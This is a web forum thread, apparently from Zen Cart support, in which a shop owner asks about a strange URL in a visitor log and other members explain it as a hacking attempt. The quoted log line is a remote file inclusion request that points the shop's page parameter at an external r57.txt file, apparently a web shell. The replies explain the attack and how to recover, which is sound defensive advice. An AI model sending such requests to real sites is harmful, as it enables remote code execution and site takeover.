Unknown URLs

[madison]

I have noticed - while looking at 'Who's Online' - that I often see URLs from my website which refer to pages not on my website, example:



00:04:31 0 ¥Guest 201.62.135.23 19:27:14 19:27:14
Time Since Clicked:
00:04:31 ago Session ID: 5709cf845e2c1ee066258f252cb9811b
Host: BHE201062135023.res-com.wayinternet.com.br
User Agent: Mozilla/3.0 (compatible; Indy Library)
/index.php?main_page=http://www.ec*****rals.com/images/photos/r57.txt


Clicking on the URL takes me to my home page - /index.php?main_page. I have no idea where the part pointing to images/photos/r57.txt comes from.

I wonder is this some spyware or some sort of hacking attempt?

[kuroi]

Yes. That is an attempt to hack your site by executing a file that contains a trojan. Happily it sounds as though Zen Cart is having none of it and is redirecting your site away from and to the home page.

[madison]

thanks! any idea how to fix this?

[kuroi]

Why? What's broken?

[madison]

'That is an attempt to hack your site by executing a file that contains a trojan'

I assumed a file on my site contained a trojan ..................................

[kuroi]

No this is an attempt to persuade your site to execute a file with a trojan located on an external site. But Zen Cart's having none of it.

[madison]

Whew ... brilliant ... thanks!

[DrByte]

Um if I'm reading this right ... You're NOT done yet !!!!

If ecsfunerals is NOT *your* site, then I've misread what you posted, and you can ignore the "alarm".

If it is, then your site HAS been intruded-upon.

FIRST, you need to GET RID OF the /images/photos/r57.txt file.
There's NO POINT leaving any trojan code ON your site.

SECOND, you need to let your host know that someone hacked your site.

THIRD, you need to clean up the damage they did.
FOURTH, you need to secure your site.

Here's some help on the last 2 items:
http://www.zen-cart.com/wiki/index.p...ing_From_Hacks

[madison]

Fortunately, it is not my site... Thanks.